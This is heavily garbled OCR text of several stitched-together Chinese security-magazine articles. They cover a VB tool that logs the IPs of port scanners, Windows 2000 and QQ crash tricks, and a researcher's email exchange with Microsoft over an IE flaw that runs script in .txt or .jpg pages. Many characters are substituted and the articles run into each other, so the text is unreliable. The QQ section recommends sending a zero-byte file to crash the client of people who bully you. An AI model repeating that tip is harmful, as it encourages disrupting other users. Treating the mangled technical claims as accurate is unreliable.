上 网 的 时 候 被 别人 探测 是 常 有 的 事 , 一 般 探测 你

个 人 的 人 侵 者 技术 不 会 高 明 到 哪里 去 。 所 以 根本 称 不

上 黑客 , 所 以 本 文 就 用 人 侵 者 来 代替 。 他 们 对 普通 网

民 的 扫描 可 以 是 多 端口 单 下 的 扫描 或 者 多 下 单 端口

扫描 。 前 者 是 通过 一 些 下 工具 来 取得 你 的 下 ,然后 尝

试 利 用 端口 扫描 获取 你 的 信息 , 看 你 的 计算 机 有 没有

预先 中 了 木马 。 然 后 通过 网 上 的 木马 端口 列表 , 来 获

得 木马 名 称 。 用 相应 的 客户 端 软件 来 连接 到 你 的 计算

机 。 从 而 获得 密码 、 以 及 你 的 秘密 信息 。 后 者 则 是 通过

利用 如 SuperScan 等 可 以 大 范围 扫描 卫 的 软件 , 扫描

打开 特定 端口 的 机 器 。 比 如 ,可 以 扫描 打开 7626 端口

的 机 器 ,看 对 方 是 否 中 了 冰河 。 然 后 ,人 侵 者 就 用 客户

端 连 接 到 服务 器 从 而 人 侵 你 的 计算 机 。

这 些 扫描 是 简单 的 TCP 的 Connect 扫描 。 所 以 无

法 避 开 防火 墙 的 追踪 。 网 民 就 可 以 利用 天 网 等 防火 墙

软件 来 获取 对 方 的 瑟 。 相 信 很 多 DIY 迷 或 者 编程 爱好

者 总 是 想 拥有 属于 自己 的 类 似 的 工具 。 本 文 就 给 你 讲

述 如 何 用 VB 来 编写 探测 人 侵 者 的 下地 址 的 工具 。 本

程序 还 可 以 让 你 监听 80 端口 , 来 察看 对 方 对 你 进行

的 常规 扫描 。 要 看 懂 本 文 , 你 需要 有 一 定 的 VB 基础 。

下 面 我 们 来 看 看 本 程序 的 基本 原理 ;

人 侵 者 通过 Connect 本 机 的 端口 ,来 获得 信息 。 由

于 TCP 的 三 次 握手 原理 。 他 必定 会 留 下 自己 的 卫 , 我

们 就 利用 这 一 个 原理 来 获得 对 方 的 下。

Winsock 控件 的 属性 、 方 法 和 事件 在 本 刊 中 《用

winsock 制作 漏洞 扫描 器 》 一 文中 已 经 氢 述 过 , 读者 可

以 对 照 参 考 , 这 里 就 不 再 介绍 。 大 家 还 一 定 记得 Re-_

moteHostIP 和 LocalPort 属性 吧 。 这 就 是 对 方 的 下 和 自

己 的 端口 。 通 过 这 两 个 属性 就 可 以 清楚 地 获得 对 方 的

下 地 址 和 他 正在 扫描 的 本 地 端口 。

因为 一 个 端口 不 一 定 只 有 一 个 人 会 扫描 , 所 以 本

程序 我 们 需要 使 用 到 控件 数组 。 这 个 概念 的 描述 大 家

可 以 查找 MSDN。 本 程序 的 流程 是 :

1、 定 义 需 要 监听 的 端口 ;

2、 装 载 一 定数 量 的 Winsockl 控件 , 从 需要 监听

的 端口 列表 中 获得 数据 。 一 一 开启 监听 功能 (Listen ) ;

3、 当 某 一 个 控件 接收 到 连接 的 事件 发 生 , 就 把

得 到 的 RemoteIP 和 LocalPort 加 入 日 志 ;

控件 名 | 控件 类 型

文 / 卫 顺 盛

4、 加 载 一 个 叉 insock2 ,继续 捕获 数据 (Getdata ) ;

5、Winsock2 数据 到 达 记 录 数 据 。

程序 的 基本 概念 都 介绍 完了 , 相信 你 对 本 程序 已

经 有 了 一 定 的 认识 。 现 在 我 们 就 来 开始 我 们 的 工作 ;

程序 的 控件 以 及 说 明 如 下 :

程序 的 代码 以 及 说 明 如 下 :

|

TILOadinmng ..,

全 代 位 置 : SR

SN 3wiangauany 有 VB 编写 申 木 SN

过 交 探 测 及 常 坑 扫 措 的 程序 代码 .txt 全

ASFEA 半 HardaSHTHRDHETINEPFEHRAIFEG 失 的

总 结 : 其 实 一 些 程序 的 原理 很 简单 , 我 们 只 要 勇

于 实践 , 并 且 能 够 把 所 学 的 知识 运用 到 你 的 程序 中

去 ,我 想 编 出 类 似 的 程序 是 很 简单 的 。 如 木马 、 端 口 扫

描 器 、 客 户 端 工具 、CGI 漏洞 扫描 器 .…… VB 的

Winsock 控件 虽然 不 是 底层 操作 , 功 能 不 如 C 语言

Socket 编程 。 但 实现 普通 的 操作 还 是 很 有 用 的 。 简 单

的 例子 就 是 Cookie 坎 骗 , 用 VB 来 编写 这 种 程序 十 分

微软 的 东西 , 说 好 也 好 , 说 不

好 ,还 真 糟糕 ! 双 indows 平台 上 的

软件 也 总 出 问题 ……

1. 在 桌面 上 建立 一 个 文件

夹 , 名 字 就 叫做 “”, 这 个 符号 你

能 写 多 长 就 写 多 长 , 写 个 最 长 的

到 各 大 安全 站 点 , 走 走 看 看

那些 安全 公告 ……: 了 呵呵 怎么 样 ,

是 不 是 好 多 都 是 MS 的 大 Bug? 所

谓 强壮 的 Windows 不 知道 要 穿 多

少 补丁 的 外 衣 才 算是 安全 的 。

你 可 能 会 说 : “我 把 微软 提

供 的 补丁 统统 打上 , 关 了 所 有 的

服务 , 看 你 能 怎么 样 ?” 那 除非

您 不 上 网 了 , 上 网 一 样 会 叫 您 完

和 蛋 。

不 对 不 对 , 不 上 网 , 几 个 基本

操作 一 样 会 让 刺 indows 2000 挂

了 ! 不 信 ? 那 我 们 就 试 试 ?

为 了 保证 准确 性 , 您 先 上 个

Windows 2000 Sp2, 打 过 补丁 的 漏

洞 我 们 都 不 看 了 , 我 们 要 看 一 些

没 用 补丁 的 东西 。 把 不 需要 的 东

西 统 统 关 掉 ,用 Administrator 身份

登陆 , 该 存盘 的 存盘 , 一 会 儿 别 怪

我 没 提醒 您 啊 !

现在 我 们 来 测试 几 个 本 地 的

Bug 吧 , 先 来 个 简单 点 的 :

Windows 2000 下 , 记 得 Win-

dows 一 直 都 鼓吹 说 自己 的 系统 能

够 良好 的 支持 长 文件 名 , 大 概 每

个 人 都 要 用 文件 夹 吧 ! 如 果 您 用

这 招 10 台电 脑 有 5 台 会 挂 , 即使

打 补 丁 也 是 没 用 的 !

少 说 多 做 , 具 体操 作 试 一

试 !

2. 好 了 吧 ? 现 在 你 对 这 个 目

录 做 个 操作 试 试 ,随便 什么 操作

都 成 。 不 知道 您 的 电脑 是 不 是 会

比较 倒霉 ,运气 不 好 ,你 的 Win-

dows 2000 就 挂 了 , 这 个 机 率 是

T/2。

忘记 说 了 , 这 个 问题 同样 会

出 在 文件 上 , 就 是 说 如 果 是 个 文

件 , 不 是 文件 夹 , 一样 会 崩溃 的 。

想 删 除 这 个 文件 夹 有 点 麻烦 了 !

点 右键 ,前 溃 ; 按 Delete 键 , 毅 溃 ;

去 资源 管理 器 里 删 ,一 样 裔 溃 。 没

办 法 , 开 个 CMD 窗口 手工 册 吧 !

文件 名 问题 的 Bug 不 只 于

此 ,还 有 呢 !

相信 吗 ? 我 在 你 的 应 用 程序

目录 下 随便 写 个 文件 或 者 建立 一

个 目录 , 你 的 程序 就 运行 不 了

啦 ! 这 个 可 是 真 的 ,原因 一 会 儿 再

告诉 你 。

先 来 测试 一 个 大 家 都 熟悉 的

软件 OICQ 吧

1. 打开 OICQ. exe 文件 所 在

的 目录

2. 建立 一 个 文件 淆 , 名 字 为

ws2 32. dg]]

3. 启动 你 的 OICQ

100% 报告 初始 化 错误 ! 为

什么 ? 原因 是 微软 把 目录 和 文件

作为 同 级 的 东西 来 处 理 了 , 而

OICQ 是 一 个 网 络 通讯 类 的 程

序 , 所 以 必然 要 调用 Winsock 的

一 系列 API, 而 这 些 API 是 存放

在 winsock.dll 和 ws2 32.dll 里

的 ,Window 有 个 特点 , 就 是 找

动态 连接 库 的 时 候 , 会 先 在 应 用

程序 当前 目录 搜索 , 然 后 才 会 搜

索 Winnt,System32 ,System……:

好 ! 我 们 就 利用 这 个 特点 , 建 立

一 个 名 字 为 ws2.32.dl 的 “ 目 .

录 ” 在 OICQ 程序 所 在 目录 中 ,

系统 会 把 它 当 作 一 个 文件 优先 调

用 的 , 当 然 死 定 了 ! 如 果 黑 客 们

把 这 个 DLL 文件 夹 蔡 换 成 一 个 精

心 制作 好 的 DLL 文件 , 那 就 等 于

把 你 黑 了 。

我 们 继续 看 下 一 个 吧 !

还 是 用 QQ , 你 发 送 给 对 方 一

个 文件 , 长 度 为 0 字 节 , 对 方 就 倒

霉 啦 , 铁 定 非 法 操作 ,QQ 毅 溃

了 ! 如 果 有 人 在 QQ 上 欺负 你 ,这

招 满 不 错 的 ! QQ 上 , 其 实 还 能 玩

出 很 多 古怪 的 东西 呢 , 比 如 证 你

的 QQ 串 号 ,做 UDP 劫持 , 可 以 让

你 收 到 别人 的 消息 ! 真 的 ,不 过 这

个 我 没 继续 摘 下 去 。

使 用 上 述 方法 , 本 地 机 器 已

经 不 存在 什么 稳定 了 ! 其 实 Win-

dows 2000 下 , 蓝 屏 的 方法 还 有 很

多 呢 ! 比如 构造 一 个 特殊 的 ICMP

包 , 然 后 发 给 自己 ,然后 就 …… 不

s

过 那个 要 写 点 程序 了 。 久光

小 编 寄 语 ; 这 篇 摘 件 来 自 与 微软 安全 中 心 的 真实 的 交流 , 由 攻防 实验 室 成 员 Crazybird 实践 和 扎

写 而 成 。 看 过 之 后 只 有 感慨 和 无 奈 , 没 错 , 咱 们 本 国 软件 技术 落后 ,给 人 家 的 软件 提 意 见 , 人 家 当然 是

不 导 一 顾 。 什 么 时 候 中 国 的 软件 业 能 够 腾飞 呢 ?

没有 想到 和 微软 的 第 一 次 接触 竟然 是 这 样 的 !

这 一 切 的 起 因应 该 是 由 于 我 的 习惯 。 需 要 说 明 一

下 ,我 习惯 浏览 网 页 的 时 候 都 查看 它 的 源 代 码 。 那 天

晚上 我 上 传 一 篇 . txt 格式 的 文章 到 个 人 主页 空间 , 传

上 后 访问 的 同时 习惯 性 地 看 了 看 源 代 码 , 想 自己 加 一

点 HTML 语言 上 去 会 看 起 来 更 舒服 。 于 是 用 NotePad

写 上 点 HTML。 加 上 HTML 后 直接 以 txt 文件 形式 上 传

了 ,忘记 把 txt 文件 存 为 . html。 通 过 下 浏览 发 现 正 仍

能 读 出 。 问 题 就 出 来 了 。 和 赁 着 个 人 对 安全 的 认识 。 意

识 到 这 是 个 漏洞 。

那 是 姿 晨 四 五 点 钟 ,我 贴 了 一 份 测试 在 国内 一 个

比较 有 名 的 网 络 安 全 BBS 上 。 在 贴 出 后 ,经 过 反复 思

考 ,发现 这 个 漏洞 在 利用 和 涉及 面 上 都 具有 难以 让 人

预测 的 危险 。 于 是 在 贴 出 半 小 时 后 让 论坛 版 主 删 去 那

篇 贴 子 。 考 虑 到 这 个 漏洞 的 严重 性 , 开始 准备 与 微软

交涉 , 希望 他 们 能 尽快 解决 这 个 问题 。 然 而 到 写 这 篇

文章 为 止 , 结果 还 是 让 人 失望 , 微软 始终 不 肯 承 认 这

个 漏洞 的 安全 威胁 。 甚 至 找 一 切 借口 逃避 责任 。 他 们

现在 给 出 的 所 有 论据 都 不 能 说 服 一 个 有 一 点 安全 常

识 的 用 户 。 我 们 做 个 假设 : 一 个 地 方 有 炸弹 ,如 果 那 炸

弹 被 证 明 是 某 个 公司 不 小 心 布 下 的 , 这 个 公司 知道

了 , 他 们 坚决 不 肯 同 意 撤 下 炸弹 ,而 是 告诉 所 有 要 路

过 这 个 地 方 的 人 , 为 什么 你 不 先 穿 上 防弹 衣 再 去 现场

呢 ?

微软 是 前 后 矛盾 的 。 在 第 二 封 信 中 , 他 们 在 我 要

求 进 一 步 解释 后 承认 了 这 个 错误 。 可 在 后 来 的 信 中 ,

却 又 改口 称 这 个 错误 是 “WELL -KNOW”,, 让 人 很 不

能 理解 。 一 个 顶级 的 公司 , 既然 对 自己 的 安全 隐患 这

样 不 重视 。 于 是 我 给 他 们 实际 例子 证 明 这 样 的 漏洞 将

给 用 户 带 来 多 大 的 影响 。 我 给 他 们 一 个 JavaScript 修

改 注册 表 的 小 脚本 ,加 在 一 幅 JPG 图 片 中 。 修 改 扩展

文 / Crazybird

名 为 JPG, 使 人 看 起 来 像 是 在 访问 JPG 页 面 。 因 为 是

测试 用 。 我 在 修改 注册 表 中 添加 了 只 修改 “IE title" 这

样 一 个 没有 什么 危害 , 却 足 以 证 明 一 切 的 小 脚本 。 我

把 源 代 码 寄 给 了 微软 公司 安全 组 。 令 人 遗憾 的 是 , 他

们 既然 用 那样 毫 无 证 明 力 的 证 据 来 否定 我 的 担心 。

因为 这 个 正 漏洞, 我 们 可 以 在 Web 页 面 的 源 代

码 中 加 入 任何 对 用 户 具有 威胁 性 的 脚本 。 只 要 用 户 使

用 下 打开 Web 页 面 , 不 论 TXT 还 是 别 的 非 下 载 类 文

件 格式 , 都 能 出 现 这 样 的 文件 扩展 名 误 读 错误 的 现

象 。 然 而 这 种 Web 方式 在 扩展 名 或 文件 形式 上 可 以

做 到 很 直接 的 欺骗 效果 , 所 以 你 看 到 的 只 是 单纯 的

TXT 或 JPG 或 别 的 让 你 不 会 提高 警惕 的 文件 类 型 。 攻

击 者 曾 就 为 达到 此 欺骗 目的 想 尽 一 切 可 行 的 办 法 。 实

际 足 以 见得 , 这 次 ,因为 微软 的 大 意 ,一 切 都 这 样 简单

地 实现 了 。 当 你 打开 一 个 TXT 文件 扩展 名 或 者 别 的

足以 让 你 “放心 ”的 文件 扩展 名 的 时 候 ,你 连 防备 它 的

心理 准备 都 没有 , 这 就 是 利用 普通 用 户 的 定式 思维 。

大 家 都 应 该 记得 吧 , 我 们 在 Internet 上 访问 网 页 的 时

候 , 就 有 过 小 心中 招 ” 的 教训 。 在 数量 比较 多 的 网 络

安全 防御 文章 中 , 网 络 安全 专家 们 都 一 再 提醒 大 家 :

访问 HTML 网 页 要 注意 , 可 能 被 插入 有 害 代码 。 但 是

现在 , 微软 的 这 个 漏洞 让 所 有 非 下 载 类 文件 都 可 以 被

用 来 加 载 在 . html 文件 上 所 能 插入 的 一 切 代 码 。 这 些

代码 可 能 是 附 有 攻击 性 的 ,而 使 用 者 毫 不 知道 。 比 如 ,

我 可 以 插入 一 段 8 代码 , 但 你 以 为 只 是 打开 了 一 个

TXT 的 Web 页 面 。 试 想 , 当 你 阅读 一 篇 txt 小 说 或 者 查

看 一 幅 很 漂亮 的 JPG 图 片 的 时 候 , 你 的 硬盘 正 狂 转

着 , 你 会 去 怀疑 页 面 的 问题 吗 ? 你 会 想到 你 所 放心 济

览 的 页 面 也 可 能 被 植 人 病毒 吗 ? 当 你 发 现 不 妙 的 时

候 , 您 的 资料 已 经 被 删 的 差不多 了 。 也 许 , 原 来 这 一 切

是 不 可 能 做 到 的 一 可 是 现在 微软 做 到 了 。

如 果 联 想到 Mail 呢 ? 用 附件 形式 , 同样 的 漏洞

方式 。 后 果 如 何 ? 难以 想象 。 所 以 , 我 个 人 认为 这 个 漏

洞 对 下 用 户 的 安全 威胁 还 是 相当 大 的 。

一 直 不 愿意 把 漏洞 公布 。 原 因 很 简单 , 任何 有 .

点 计算 机 基础 的 人 , 都 可 以 几 分 钟 内 明白 这 个 漏洞 的

实现 方法 。 一 旦 被 恶意 用 户 利用 , 后 果 是 让 人 担忧

的 。 十 分 遗 央 的 是 ,微软 一 直 不 肯 正 视 这 个 问题 .本 人

和 国外 朋友 讨论 中 发 现 这 个 漏洞 的 修补 确实 是 一 件

比较 困难 的 事 。 下 面 是 我 和 微软 的 数 次 通信 内 容 ( 编

者 注 : 作 者 原 信件 为 英文 ,为 了 方便 读者 ,作者 特 将 其

大 意译 为 中 文 , 原 文 放 在 光盘 \、xiangguan\ MS 的 信

.htm, 有 兴趣 的 读者 可 以 去 看 看 ) , 希 望 通过 这 个 例

子 ,可 以 给 安全 工作 者 们 一 些 启发 :

1 本 人 向 MS 报告 漏洞 的 第 一 封 信 件 内 容 :

各 位 注意 , 我 刚刚 在 写 文 章 时 发 现 一 个 正

(Interet Explorer) 的 漏洞 。 这 个 缺陷 使 别人 能 利用 它

来 对 机 器 造成 损害 。 我 在 txt 文件 中 写 了 HTML 代码

和 JAVASCRIPT 代码 ,并 将 其 放 到 Internet 上 ,我 发 现

亚 将 这 个 文件 作为 HTML 文件 处 理 。 如 果 有 人 用 html

或 者 javascript 代码 写 一 个 txt 文件 放 在 网 上 ,然后 让

人 去 读 取 这 个 文件 ,将 会 有 什么 样 的 结果 发 生 ?

测试

本: 测试 通过 , 到 以 下 地 址 查看 : crazybird. 51. net

/Jook. txt

将 后 缀 名 改 为 xx. aaa: 测试 通过 , 到 以 下 地 址 查

看 :crazybird. S1. net/look. aaa

txt: 测试 通过 , 到 以 下 地 址 查看 : crazybird. $1. net

/test. txt

x 显示 在 地 址 栏 的 后 缀 名 没有 变 为 炎 . htmy

. html

但 是 本 依然 可 以 执行 。

结合 MIME 头 漏洞 的 利用 , 只 需要 将 文件 的 后 缀

名 简单 从 大 . html 改 为 .txt, 就 可 以 让 人 下 载 木马

程序 !

Crazybird

21/Z077Z01I

微软 给 我 的 回信 :

Hi -

感谢 你 的 提醒 。 我 想 确定 一 下 我 是 否 正 确 理解 了

你 所 描述 的 情况 。 你 的 意思 是 说 你 发 现 : 如 果 一 个 包

含 了 脚本 代码 的 . txt 文件 用 正 打开 , 脚 本 程序 就 能

被 执行 。 是 这 样 吗 ?

Scott

22/077Z01

2. 我 再 次 给 微软 回信 , 人 迫切 地 希望 问题

能 得 到 及 时 的 解决 :

Hi -

是 的 , 不 仅仅 是 .txt 文件 。 还 有 . jpeg /. png 等

等 , 甚至 包括 无 扩展 名 的 文件 。 只 要 文本 中 含有 完整

的 HTML 语句 格式 ,这些 使 用 频繁 的 文件 类 型 , 经 测

试 都 会 出 现 这 种 错误 。 我 试 着 用 WORD 读 了 ,现象 和

下 读 出 的 一 样 , 用 焉 6 测试 版 访问 , 依旧 出 现 读 鲁 现

象 。

试想 , 如 果 有 居心 恶毒 的 人 利用 这 个 错误 做

.jpeg/. png/. txt 这 些 类 型 的 页 面 给 大 家 访问 ,后 果 会

如 何 ? 在 7 月 21 号 之 前 , 大 家 也 许 只 会 提防 .htmy

. html 的 页 面 , 现 在 呢 ?

百人 台 运 行 区 (JavaScript)、VBS(VBScript),, 可 以 对

你 的 计算 机 造成 巨大 的 伤害 !

HappyTime 这 个 利用 HTML 传输 的 病毒 如 果 利

用 在 这 样 的 页 面 上 , 后 果 可 想 而 知 ! 中 国 已 经 有 很 多

专家 分 析 过 这 个 病毒 , 如 果 需 要 我 可 以 发 它 的 源 代 码

给 你 。

这 个 漏洞 我 还 没有 在 网 上 公开 发 布 , 希 望 得 到 你

们 的 重视 ,尽快 拿 出 解决 办 法 。 我 写 了 一 个 调用 JS 脚

本 的 “HTML 查看 ”页 面 http: / /erazybird. S1. net/

look. htm 也 只 能 在 访问 前 暂时 查看 页 面 源 代 码 , 难 道

任何 页 面 访问 前 都 要 查看 ?

人 Crazybird

22/077/01

微软 的 回信 :

Hi -

.感谢 提供 更 多 的 信息 。 在 下 处理 包 含有 html 代

码 的 文件 时 , 会 将 它 作为 html 文件 方式 显示 , 这 点 你

是 对 的 。 这 就 是 一 些 包含 了 html 代码 的 .txt 文件 在 被

别人 浏览 时 会 用 下 打开 的 原因 . html 文件 可 以 被 执

行 。 然 而 ,有 两 点 需要 注意 ,这 两 点 让 我 们 确信 这 不 是

什么 安全 漏洞 。

第 一 , 代 码 可 执行 的 行为 受到 下 安全 模式 的 限

制 , 这 就 是 说 , 后 缀 为 .txt 的 文件 并 不 能 比 后 邹 为

.htm 文件 有 更 多 的 可 执行 权限 。

第 二 ,. pt 文件 和 其 它 常用 文件 类 型 在 默认 情况

下 不 会 用 下 来 打开 , 除非 用 户 手工 指定 用 亚 打开 。

默认 情况 下 , .txt 文件 是 用 记事 本 打开 的 ,而 非 下 ,这

就 说 明 , 攻击 者 不 仅 要 让 用 户 打 开 . txt 文件 , 还 要 让

他 用 正 打开 .txt 文件。

如 果 以 上 的 分 析 有 遗漏 之 处 , 希望 告诉 我 。 我 希

望 我们 的 确 解 除了 你 的 忧虑 。

Regards,

Scott

22/07Z01

这 封 信里 , 显 然 微 软 承 认 了 这 个 处 理 错 误 , 却 不

肯 有 承认 这 是 一 个 安全 漏洞 , 且 用 那样 毫 无 论证 依据 的

测试 来 回复 我 。

3. 我 继续 写 信 给 他 们 解释

您 说 的 那 两 点 我 不 太 同 意 , 您 的 第 一 点 : 正 确实

在 HIML 的 安全 检查 上 做 了 些 防御 , 正 的 安全 等 级

只 有 定 在 "高 级 "才能 真正 做 到 实际 的 防御 。 但 是 访问

WEB 的 用 户 都 要 用 到 COOKIE? 调 用 JAVA , 如果 这 样

才 算 安全 ,似乎 不 浏览 网 页 才 算 真 的 安全 了 !

您 的 第 二 点 : 您 说 “攻击 者 需要 某 种 程度 上 的 确

信用 户 打开 . txt 文件 且 不 仅 打 开 , 还 要 让 他 用 下 打

开 .txt 文件 ! 如 果 是 给 用 户 植 人 木马 ,或 许 需要 确认

用 户 是 否 打开 . txt 文件 , 以 及 是 否 运行 。 但 请 您 注意 ,

如 果 只 是 修改 注册 表 , 或 者 格式 化 硬盘 呢 ? 现 有 的 技

术 , 完全 有 能 力 把 格式 化 用 户 的 硬盘 的 过 程 在 后 台 运

行 。

当 您 在 使 用 正 看 .tt 格式 或 者 别 的 不 是 . htm

的 小 说 ,或 者 看 一 幅 十 分 精美 的 图 片 的 时 候 , 即使 听

到 硬盘 高 速 转动 ,会 去 考虑 有 人 在 给 您 的 机 器 “动手

术 ” 吗 ? 因为 被 一 贯 的 思想 蒙 项 了 , 用 户 以 为 只

HIML 网 页 才 会 有 可 能 带 来 那样 的 破坏 ! 另外 , 还 可

以 用 了 或 VBS 使 用 病毒 , 比 如 我 给 您 寄 来 的 这 段 代

码 , 在 中 国 破坏 了 不 少 用 户 的 计算 机 注册 表 。 这 样 的

代码 , 稍微 有 点 权 或 者 VBS 基础 的 人 , 在 网 上 随便 搜

导 点 注册 表 资 料 就 可 以 很 容易 做 到 ! 您 不 认为 这 是 安

全 危险 ?

请 认真 考虑 这 个 问题 , 我 将 在 下 周公 布 这 个 发

现 ,希望 在 那 之 前 MS 能 拿 出 实际 的 解决 方法 !

Bye

Tm Chinesel!

Crazybirdq

22/077Z01

下 面 是 微软 给 我 的 回信 :

可 ij 一

我 想 确 认 我 们 是 否 在 讨论 同一 情况 。 你 是 否 可 以

一 步 一 步 解释 如 何 利用 你 的 发 现 来 攻击 别人 ?

Scott

23/07Z01

看 了 这 样 的 回信 我 无 话 可 说 了 , 微软 不 仅仅 有 技

术 了 啊 !

4. 狗 而 不 舍 , 回 信 :

我 实在 不 理解 你 们 的 工作 效率 !

很 简单 的 方法 。 我 上 封 信 中 给 了 你 们 一 个 孢 病

毒 源 代码 。 攻 击 者 只 要 把 它 加 在 网 页 中 就 能 达到 修改

注册 表 的 效果 ,用户 遭 到 伤害 。 利 用 这 个 正 处 理 错误

的 漏洞 , 可 以 把 这 个 了 S 放 在 .txt 中 (这 里 不 要 我 再 说

如 何 实现 吧 ? 我 在 前 面 的 信里 已 经 说 的 很 清楚 了 )

由 于 用 户 的 定式 思维 ,txt 页 面 是 不 会 产生 警惕

的 ! 给 你 的 还 只 是 S 修改 注册 表 的 办 法 。 如 果 是 VBS

呢 ? 加 载 杀伤 力 极 大 的 病毒 。

另外 , 现 在 还 有 多 少 人 以 WEB 方式 查看 信件

的 ? 只 要 使 用 下 ,WEB 查看 信件 。 附 件 不 是

. btm. exe. vbs 别 的 能 放心 吗 ?

我 觉得 我 们 在 浪费 时 间 , 阐述 一 些 你 们 都 清楚 的 -

问题 。 快 把 漏洞 补丁 做 出 来 吧 。

Crazybird

24/07701

微软 收 到 信和 后 给 我 的 回复 :

也 i

谢谢 你 的 提醒 , 但 是 很 抱 妇 , 我 们 还 是 必须 要 询

问 更 多 相关 信息 。 你 给 我 们 的 只 是 一 个 概念 , 而 非 确

切 的 数据 。 为 了 完全 确定 你 所 报告 的 内 容 , 我 们 必须

能 看 到 你 所 发 现 的 一 切 。 这 是 为 什么 我 希望 可 以 看 到

一 步 一 步 的 解释 。

我 们 同意 当 一 个 包含 html 代码 的 . txt 文件 用 巫

打开 ,这 个 文件 中 的 html 代码 可 被 执行 。 但 这 是 众 所

周知 的 , 而 且 也 已 经 在 以 前 的 安全 公告 中 讨论 过 。 我

们 确信 这 不 会 是 个 安全 问题 的 原因 是 : . txt 不 会 自动

用 下 打开 ,除非 用 户 手工 指定 。 如 果 用 户 只 是 简单 的

双击 .txt 附件 的 话 ,文件 将 用 记事 本 打开 而 不 是 正 。

我 们 需要 更 多 信息 的 原因 是 你 提 到 了 这 个 问题

涉及 到 其 它 一 些 文件 ,例如 . jpg 等 默认 用 正 打开 的

文件 。 我 们 进行 了 测试 , 但 是 没有 发 现任 何 情况 , 相

反 ,我 们 所 测试 的 每 个 页 面 的 html 代码 都 没有 影响 到

下 。 事 实 上 ,图 片 并 没有 显示 。 我 们 需要 步骤 ,就 是 想

看 看 你 到 底 是 怎么 做 的 。 如 果 你 能 给 我 们 一 个 .jpg

文件 来 证 实 你 的 描述 , 我 们 可 以 马上 告诉 你 , 这 是 不

是 一 个 漏洞 。

希望 你 可 以 继续 跟 我 们 合作 ,来 证 实 你 的 报告 。

尽管 我 们 尚未 看 到 任何 可 以 证 实 这 是 个 安全 漏洞 的

证 据 , 但 我 还 是 希望 确认 我 们 考虑 到 了 一 切 可 能 性 。

Scott

24/07701

S: 我 再 次 给 他 们 去 信

这 次 我 做 了 个 测试 页 面 .JPG 形式。 在 后 台 运 行 ,

修改 访问 用 户 的 注册 表 “ 正 Windows title” 不具 危害 ,

但 足以 证 明 一 切 !

这 是 你 们 要 的 .jpg 例子 。 很 不 理解 你 们 在 于 什

你 们 表现 出 来 的 似乎 是 , 正 试 着 逃避 一 些 东 西 。 你

1 , 微软 的 一 个 安全 小 组 不 了 解 微软 的

浏览 器 !

(http: / /member. netease. com/ ~ zds/ie bug. jpg)

以 下 是 写 给 微软 的 一 个 利用 此 下 漏洞 伪装 成

.jpg 页 0

这 个 加 了 -一 个 下 本 和 JPC 图 片 的 组 全

。 把 正 iie

修改 成 “Tam Chinese! ”

Crazybird

2S/77/A01

他 们 的 回信 :

Hi -

感谢 你 提供 的 信息 , 这 对 我 们 想 当 有 用 ,让 我 们

了 解 了 你 所 报告 的 究竟 是 什么 。 我 尝试 用 多 种 不 同 的

方式 查看 这 个 文件 ,以 下 是 我 所 看 到 的 结果 :

x 当 我 在 我 们 网 站 上 浏览 时 , 得 到 一 个 ActiveX

控制 被 关闭 , 页 面 可 能 无 法 正确 显示 的 提示 。( 事 实

上 , 它 的 确 没 有 正确 显示 ) 这 无 法 证 明 图 片 中 的

javasceript 和 普通 web 页 面 中 的 javascript 有 什么 不

同 。

x* 当 我 将 图 片 保存 在 我 的 桌面 上 , 并 双击 打

开 。 它 是 用 Microsoft 照片 编辑 器 打开 的 , 这 不 支持

javascript。 也 就 是 说 ,打开 这 个 图 片 非 常安 全 。

xx 当 我 用 下 打开 图 片 时 ,Javasceript 并 没有 运

行 ,图 片 照 常 显示 。 这 依然 是 个 安全 的 操作 。

你 所 发 现 的 是 不 是 通过 以 上 步骤 得 到 的 ? 现在 我

有 一 个 样本 了 ,我 会 和 下 安全 小 组 一 起 研究 一 下 ,看

看 他 们 是 否 看 到 我 没有 察觉 的 东西 。 我 会 通知 你 我 们

的 研究 结果 。

Scott

2S/Z7/0L

他 们 说 开始 研究 了 ,希望 能 给 我 满意 的 答复 。

7. 26 收 到 信 了 , 抱 着 欣喜 的 心情 去 打开 它 :

Hi -

有 些 信 息 告 诉 你 。 我 请 正 安全 小 组 看 了 . jpg 文

件 , 以 下 是 我 们 的 发 现 ,

x 包含 脚本 的 文件 仅 在 从 网 站 下 载 时 才 用 下 打

开 。 此 时 脚本 是 在 站 点 范围 运行 的 。

x* 这 些 文件 在 本 地 操作 时 处 理 方法 是 不 同 的 。

特别 是 图 片 文件 是 通过 图 片 处 理子 系统 传输 的 , 根本

没有 让 脚本 运行 的 机 会 。 文 本 文件 中 的 脚本 是 个 特

例 , 它 可 以 被 执行 。

因此 ,我 们 可 以 确信 这 不 是 个 安全 问题 。

x 一 个 站 点 的 制作 者 的 确 可 以 在 .jpg 文件 中 加

和 脚本 。 但 是 脚本 只 会 在 本 站 点 运行 。 攻 击 者 将 脚本

插入 到 . jpg 文件 中 根本 就 没有 意义 。

x* 如 果 攻 击 者 能 让 用 户 下 载 包 含 脚本 的 图 片 文

件 到 本 地 并 双击 打开 ,图 片 将 可 能 用 下 打开 (要 看 是

什么 操作 系统 )。 但 是 即便 如 此 ,包含 的 脚本 将 不 会 被

运行 。

、x 如 果 攻 击 者 能 让 用 户 下 载 一 个 包含 脚本 的 文

本 文件 到 本 地 并 双击 打开 , 默认 情况 下 , 它 将 是 用 记

事 本 打开 ,脚本 不 会 被 运行 。

如 你 有 其 它 方法 , 请 告诉 我 们 。 我 们 和 希望 保证 确

实 完全 证 实 了 这 个 情况 。 但 我 们 相信 我 们 的 回答 是 完

全 正确 的 ,我 们 首先 查看 了 代码 , 看 看 系统 将 会 如 何

操作 ,然后 用 你 提供 的 .jpg 文 件 来 确认 我 们 的 假设 正

确 。 感 谢 你 ,希望 可 以 有 更 深 一 步 的 讨论 。

Scott

20/7/A01

愤怒 1“As a result,we believe that there is not a

security vulnerability. ”一 个 顶级 的 大 公司 既然 对 自己

的 安全 漏洞 有 这 样 的 态度 ! 仔细 看 完了 信 , 还 是 那样

的 空洞 ,一 样 的 语气 , 我 给 出 的 例子 已 经 足以 证 明 一

切 了 !

二 十 六 号 五 点 , 具体 分 析 了 他 的 内 容 ! 迷惑 了 一

个 晚上 抓 住 重点 了 ! ! 他 们 一 直 在 回避 一 个 话题 ! 就

是 我 在 和 他 们 报告 正 的 漏洞 ! 而 他 们 似乎 开始 默认

下 就 是 这 样 处 理 的 ! 他 们 这 封 信 给 我 论述 的 问题 跑

. 到 脚本 上 了 。 脚 本 是 不 完美 ! 但 那 受 的 只 是 创造 力 限

